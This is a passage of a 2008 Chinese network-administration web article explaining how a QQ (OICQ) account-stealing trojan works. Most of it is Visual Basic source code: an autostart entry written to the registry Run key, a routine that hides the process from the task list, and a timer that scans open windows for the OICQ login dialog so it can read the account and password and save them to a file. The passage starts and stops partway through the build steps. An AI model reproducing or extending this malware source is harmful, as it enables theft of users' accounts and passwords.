首页新闻资讯管理维护网络安全机房管理部署集成网管工具网管资料专题论坛 杂志
当前位置:首页 >> 网管资料 >> 知识 >> 病毒 >> QQ盗号木马原理
QQ盗号木马原理
来源:bbs.365master.com 作者: 发布时间:2008-04-12

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项

  Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值

  Const HKEY_LOCAL_MACHINE = &H80000002

  Const REG_SZ = 1

  建立使程序自启动的过程

      sub AutoRun()
  Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
  Dim Ret As Integer, lphKey As Long
  sKeyName = "SoftwareMicrosoftWindowsCurrentVersionRun" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
  sKeyValue = App.Path & IIf(Len(App.Path) > 3, "" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
  Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
  End Sub

  (3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

  Const RSP_SIMPLE_SERVICE = 1 '隐藏

  建立实现程序自身在关闭程序对话框中的隐藏的过程

      Sub HideMyWin()
  RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
  End Sub

  (4)即时监视是否运行了 OICQ

  加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。

      Private Sub Timer1_Timer()
  EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
  End Sub

  声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中

      Option Explicit
  Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
  Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
  Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
  Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
  Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
  Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
  Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
  wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
  Const WM_GETTEXT = &HD
  Const WM_GETTEXTLENGTH = &HE
  Dim buf As String
  Dim nameall, name, passwordall, password As String
  Dim i As Integer
  Dim title, titleall, filepath As String
  Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
  Dim buf As String * 1024
  Dim length As Long
  filepath = App.Path & ".txt" '0.txt 为保存帐号、密码的文件
  If Dir(filepath) = "" Then
  title = ""
  titleall = ""
  End If
  length = GetWindowText(app_hwnd, buf, Len(buf))
  title = Left$(buf, length) '取得窗口的标题
  If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
  Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
  End If
  If title <> "" Then
  If InStr(titleall, title) Then
  EnumProc = 1
  Else
  titleall = titleall + title 'title 是指取得的窗口标题
  If name <> "" Then '取得的帐号
  If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
  End If
  End If
  End If
  EnumProc = 1
  End Function

  (5)取得 OICQ 窗口中的用户名、密码框的类名

(责任编辑:天空)
阅读次数:
快速检索
网友评论
评论加载中…
 
友情链接 | 欢迎投稿 | 杂志发行 | 广告报价 | 人才招聘 | 服务条款 | 免责声明 | 隐私保护 | 关于网管员世界
CopyRight © 2001-2008 [网管员世界 www.365master.com] All Rights Reserved.
《网管员世界》杂志,专为网管服务的刊物!